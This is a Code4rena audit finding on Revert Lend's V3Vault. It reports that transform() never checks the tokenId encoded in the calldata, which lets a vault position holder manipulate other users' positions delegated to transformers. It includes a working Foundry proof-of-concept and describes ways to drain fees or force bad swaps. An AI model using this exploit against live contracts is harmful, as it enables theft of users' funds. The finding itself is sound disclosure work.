c4-bot-6 commented 6 months ago

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L497

Vulnerability details

Impact

Any account holding a position inside V3Vault can transform any NFT position outside the vault that has been delegated to Revert operators for transformation(AutoRange, AutoCompound and all other transformers that manage positions outside of the vault).

The exploiter can pass any params at any time, affecting positions they do not own and their funds critically.

Vulnerability details

In order to borrow from V3Vault an account must first create a collaterized position by sending his position NFT through the create() function

Any account that has a position inside the vault can use the transform() function to manage the NFT, while it is owned by the vault:

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L497

  function transform(uint256 tokenId, address transformer, bytes calldata data)
        external
        override
        returns (uint256 newTokenId)
    {
        ....
        //@audit -> tokenId inside data not checked

        (uint256 newDebtExchangeRateX96,) = _updateGlobalInterest();

        address loanOwner = tokenOwner[tokenId];

        // only the owner of the loan, the vault itself or any approved caller can call this
        if (loanOwner != msg.sender && !transformApprovals[loanOwner][tokenId][msg.sender]) {
            revert Unauthorized();
        }

        // give access to transformer
        nonfungiblePositionManager.approve(transformer, tokenId);

        (bool success,) = transformer.call(data);
        if (!success) {
            revert TransformFailed();
        }

        ....

        // check owner not changed (NEEDED because token could have been moved somewhere else in the meantime)
        address owner = nonfungiblePositionManager.ownerOf(tokenId);
        if (owner != address(this)) {
            revert Unauthorized();
        }

        ....

        return tokenId;
    }

The user passes an approved transformer address and the calldata to execute on it. The problem here is that the function only validates the ownership of the uint256 tokenId input parameter, however it never checks if the tokenId encoded inside bytes calldata data parameter belongs to msg.sender.

This allows any vault position holder to call an allowed transformer with arbitrary params encoded as calldata and change any position delegated to that transformer.

This will impact all current and future transformers that manage Vault positions.

To prove the exploit I'm providing a coded POC using the AutoCompound tranformer.

Proof of Concept

A short explanation of the POC:

Alice is an account outside the vault that approves her position ALICE_NFT to be auto-compounded by Revert controlled operators(bots)
Bob decides to act maliciously and transform Alice position
Bob opens a position in the vault with his BOB_NFT so that he can call transform()
Bob calls V3Vault.transform() with BOB_NFT as tokenId param to pass validation but encodes ALICE_NFT inside data
Bob successfully transforms Alice position with his params

You can add the following test to V3Vault.t.sol and run forge test --contracts /test/V3Vault.t.sol --mt testTransformExploit -vvvv


function testTransformExploit() external {
        // Alice
        address ALICE_ACCOUNT = TEST_NFT_ACCOUNT;
        uint256 ALICE_NFT = TEST_NFT;

        // Malicious user
        address EXPLOITER_ACCOUNT = TEST_NFT_ACCOUNT_2;
        uint256 EXPLOITER_NFT = TEST_NFT_2;

        // Set up an auto-compound transformer
        AutoCompound autoCompound = new AutoCompound(
            NPM,
            WHALE_ACCOUNT,
            WHALE_ACCOUNT,
            60,
            100
        );
        vault.setTransformer(address(autoCompound), true);
        autoCompound.setVault(address(vault), true);

        // Set fee to 2%
        uint256 Q64 = 2 ** 64;
        autoCompound.setReward(uint64(Q64 / 50));

        // Alice decides to delegate her position to
        // Revert bots (outside of vault) to be auto-compounded
        vm.prank(ALICE_ACCOUNT);
        NPM.approve(address(autoCompound), ALICE_NFT);

        // Exploiter opens a position in the Vault
        vm.startPrank(EXPLOITER_ACCOUNT);
        NPM.approve(address(vault), EXPLOITER_NFT);
        vault.create(EXPLOITER_NFT, EXPLOITER_ACCOUNT);
        vm.stopPrank();

        // Exploiter passes ALICE_NFT as param
        AutoCompound.ExecuteParams memory params = AutoCompound.ExecuteParams(
            ALICE_NFT,
            false,
            0
        );

        // Exploiter account uses his own token to pass validation
        // but transforms Alice position
        vm.prank(EXPLOITER_ACCOUNT);
        vault.transform(
            EXPLOITER_NFT,
            address(autoCompound),
            abi.encodeWithSelector(AutoCompound.execute.selector, params)
        );
    }

Since the exploiter can control the calldata send to the transformer, he can impact any approved position in various ways. In the case of AutoCompound it can be:

draining the position funds - AutoCompound collects a fee on every transformation. The exploiter can call it multiple times
manipulating swap0To1 & amountIn parameters to execute swaps in unfavourable market conditions, leading to loss of funds or value extraction

Those are only a couple of ideas. The impact can be quite severe depending on the transformer and parameters passed.

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

Consider adding a check inside transform() to make sure the provided tokenId and the one encoded as calldata are the same. This way the caller will not be able to manipulate other accounts positions.